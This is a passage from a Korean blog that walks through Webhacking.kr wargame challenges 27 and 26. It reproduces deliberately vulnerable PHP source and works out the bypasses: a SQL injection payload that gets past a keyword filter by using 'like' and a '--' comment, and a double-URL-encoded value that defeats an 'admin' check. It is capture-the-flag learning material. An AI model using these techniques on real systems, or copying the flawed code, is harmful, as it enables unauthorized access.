<input type=text name=no><input type=submit>
</form>
<!-- index.phps -->
</body>
</html>
 
cs




index.phps가 주어진다. 바로 보러가자


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?
if($_GET[no])
{
 
if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");
 
$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");
 
if($q[id]=="guest"echo("guest");
if($q[id]=="admin") @solve();
 
}
 
?>
<!-- index.phps -->
</body>
</html>
cs


소스이다.


get방식으로 index.php에 입력에창에 적힌 값을 보내준다. 


get방식으로 보내지는 값의 이름은 no이고 이 no는 eregi 함수에 의해 필터링된다.


필터링되는 값으로 #, union, from, challenge, select, ( , \t, / limit, =. 0x 등이 있다.


그 뒤 쿼리로서 select id from challenge27_table where id='guest' and no=() 의 괄호안에 no값이 넣어서 입력된다.

만약 이 결과로 얻은 id가 guest이면 guest를 출력하고 admin이라면 solve를 출력한다.

(물론 아무것도 안되고 문법적으로 틀렸다면 query error를 출력한다)


admin이 아이디가 되게 SQL을 짜면 될것 같다.



일단 no에 숫자를 넣어서 출력되는 값이 있는지 보앗다.


no=0은 아무것도 출력되지 않았다.

no=1은 guest가 출력되었다.

no=2부터는 query error가 출력되었다.


아마 admin은 no=0으로 추정된다. (2도 될수 있다.)


이제 쿼리를 수정해보자.


괄호로 둘러싸여있으므로 수정할때에  no=0) or no=2 으로 괄호를 넣어서 최종적으로 and no=(0) or no=2)가 되게 해보았다.


하지만 이럴 경우 쿼리의 끝에 짝이 없는 )가 남아있어 오류가 생긴다.


이 경우를 회피하기 위해 주석처리인 --을 이용한다. (#도 주석처리지만 필터에 의해 막혀있다.)


그래서 최종적으로 입력되는 값은 아래와 같다.


no=0) or no=2 -- 


(참고로 -- 는 앞뒤로 공백을 넣어줘야 주석처리가 된다.)


하지만 위 값을 넣으면 no hack이라고 출력된다. '='값이 필터링되기 때문이다.

이것을 우회하기 위해서는 sql문법중 '='와 같은 역할을 하는 'like'를 이용하면 된다.


no=0) or no like 2 -- 


가 된다. 먼저 


0) or no like 0 -- 


을 넣어보았으나 query error가 떳다.


두번째로 


0) or no like 2 -- 


를 넣자 성공하였다. 성공~


클리어






You have cleared the 27 problems.

Score + 150



'Wargame > 웹해킹(Webhacking.kr)' 카테고리의 다른 글

[Webhacking.kr] 33번  (0) 2017.09.21
[Webhacking.kr] 32번  (0) 2017.09.18
[Webhacking.kr] 26번  (0) 2017.09.06
[Webhacking.kr] 25번  (0) 2017.09.06
[Webhacking.kr] 24번  (0) 2017.09.06

[Webhacking.kr] 26번

2017. 9. 6. 23:36

25번은 들어가면 index.phps라는 링크만 있다. 소스를 보고 풀라는것 같으니 바로 보도록 하자


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<html
<head
<title>Challenge 26</title
<style type="text/css"> 
body { background:black; color:white; font-size:10pt; }     
{ color:lightgreen; 
</style
</head
<body
 
<? 
if(eregi("admin",$_GET[id])) { echo("<p>no!"); exit(); } 
$_GET[id]=urldecode($_GET[id]); 
if($_GET[id]=="admin") 
{ 
@solve(26,100); 
} 
?
 
 
<br><br
<a href=index.phps>index.phps</a
</body
</html
cs


소스는 위와 같다.


GET으로 id값을 받아서 값에 admin이 있으면 exit한다.


그게 아니면 GET으로 받은 id값을 urldecode하고


그 값을 문자열 "admin"과 비교해서 같으면 solve로 간다.


admin을 urlencode한 값을 넣어주면 풀릴것같다. admin을 url인코딩표(아스키코드표)로 보고 인코딩하면 %61%64%6d%69%6e이다.


이것을 id로 입력하였으나. 저 값이 admin으로 자동으로 디코딩되어버려서 eregi함수에 의해 막혀버린다. (%61%64%6d%69%6e은 웹에서 admin과 같은것이다.) 그래서 저 값을 한번더 인코딩해서 넣어주면 디코딩된 것이 넣어지므로  %61%64%6d%69%6e이 넣어질 것이다.


인코딩 사이트 : http://www.convertstring.com/ko/EncodeDecode/UrlEncode

    https://meyerweb.com/eric/tools/dencoder/


 %61%64%6d%69%6e을 인코딩해서 %2561%2564%256d%2569%256e을 얻었다. 이 값은 eregi에 의해 막히지 %61%64%6d%69%6e로 들어가서 내부에서 디코딩되어 admin이 될것이다.


You have cleared the 26 problems.

Score + 100


클리어~

'Wargame > 웹해킹(Webhacking.kr)' 카테고리의 다른 글

[Webhacking.kr] 32번  (0) 2017.09.18
[Webhacking.kr] 27번  (0) 2017.09.06
[Webhacking.kr] 25번  (0) 2017.09.06
[Webhacking.kr] 24번  (0) 2017.09.06
[Webhacking.kr] 19번  (0) 2017.09.06

+ Recent posts